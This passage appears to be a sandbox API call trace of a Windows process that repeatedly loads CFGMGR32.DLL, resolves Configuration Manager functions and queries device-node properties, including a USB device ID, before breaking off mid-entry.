CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.499] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0219.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63aecbd1, dwHighDateTime=0x1d9eb0c)) [0219.499] SetEvent (hEvent=0x248) returned 1 [0219.502] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.502] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.505] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0219.506] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0219.506] malloc (_Size=0x48) returned 0x196ef0fb220 [0219.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63b12cdc, dwHighDateTime=0x1d9eb0c)) [0219.506] SetEvent (hEvent=0x248) returned 1 [0219.511] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.511] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.511] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.511] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.511] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.512] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.512] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.512] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.512] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.512] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.512] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.512] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.514] malloc (_Size=0x18) returned 0x196ef0d1b00 [0219.514] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.517] malloc (_Size=0x48) returned 0x196ef0fb270 [0219.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63b12cdc, dwHighDateTime=0x1d9eb0c)) [0219.517] SetEvent (hEvent=0x248) returned 1 [0219.520] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.520] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.521] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.521] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.521] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.521] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.521] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.524] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0219.524] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x12, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0219.524] malloc (_Size=0x48) returned 0x196ef0fbea0 [0219.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x63b38e94, dwHighDateTime=0x1d9eb0c)) [0219.525] SetEvent (hEvent=0x248) returned 1 [0219.579] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.580] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.583] malloc (_Size=0x18) returned 0x196ef0d1c60 [0219.583] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x12, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0219.583] malloc (_Size=0x48) returned 0x196ef0fb900 [0219.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x63bd18e0, dwHighDateTime=0x1d9eb0c)) [0219.584] SetEvent (hEvent=0x248) returned 1 [0219.587] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.587] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.590] malloc (_Size=0x18) returned 0x196ef0d1d60 [0219.590] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.597] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0219.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63bf7cbe, dwHighDateTime=0x1d9eb0c)) [0219.598] SetEvent (hEvent=0x248) returned 1 [0219.602] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.602] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.606] malloc (_Size=0x18) returned 0x196ef0d1de0 [0219.606] CM_Get_Device_IDA (in: dnDevInst=0x13, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\VID_0A81&PID_0203\\28754") returned 0x0 [0219.606] malloc (_Size=0x48) returned 0x196ef0fbd10 [0219.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x63bf7cbe, dwHighDateTime=0x1d9eb0c)) [0219.606] SetEvent (hEvent=0x248) returned 1 [0219.609] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.609] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.613] malloc (_Size=0x18) returned 0x196ef0d1d60 [0219.613] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0219.613] malloc (_Size=0x6c) returned 0x196ef0d2120 [0219.613] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d2120, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d2120, pulLength=0x67117d608) returned 0x0 [0219.614] free (_Block=0x196ef0d2120) [0219.614] malloc (_Size=0x48) returned 0x196ef0fc170 [0219.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x63c1dd7a, dwHighDateTime=0x1d9eb0c)) [0219.614] SetEvent (hEvent=0x248) returned 1 [0219.616] malloc (_Size=0x18) returned 0x196ef0d1d80 [0219.616] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0219.616] free (_Block=0x196ef0d1d80) [0219.616] malloc (_Size=0x18) returned 0x196ef0d1d60 [0219.617] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0219.617] free (_Block=0x196ef0d1d60) [0219.617] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8561e0 [0219.617] SafeArrayGetDim (psa=0x196ef1f2770) returned 0x1 [0219.617] SafeArrayGetLBound (in: psa=0x196ef1f2770, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0219.617] SafeArrayGetUBound (in: psa=0x196ef1f2770, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0219.617] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0219.617] SafeArrayGetDim (psa=0x196ef1f2770) returned 0x1 [0219.617] SafeArrayGetUBound (in: psa=0x196ef1f2770, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0219.617] SafeArrayGetElemsize (psa=0x196ef1f2770) returned 0x8 [0219.617] SafeArrayGetElement (in: psa=0x196ef1f2770, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0219.618] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e690, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0219.618] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e698, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0219.618] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0219.618] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8561e0) returned 1 [0219.619] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.619] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.621] GetProcAddress 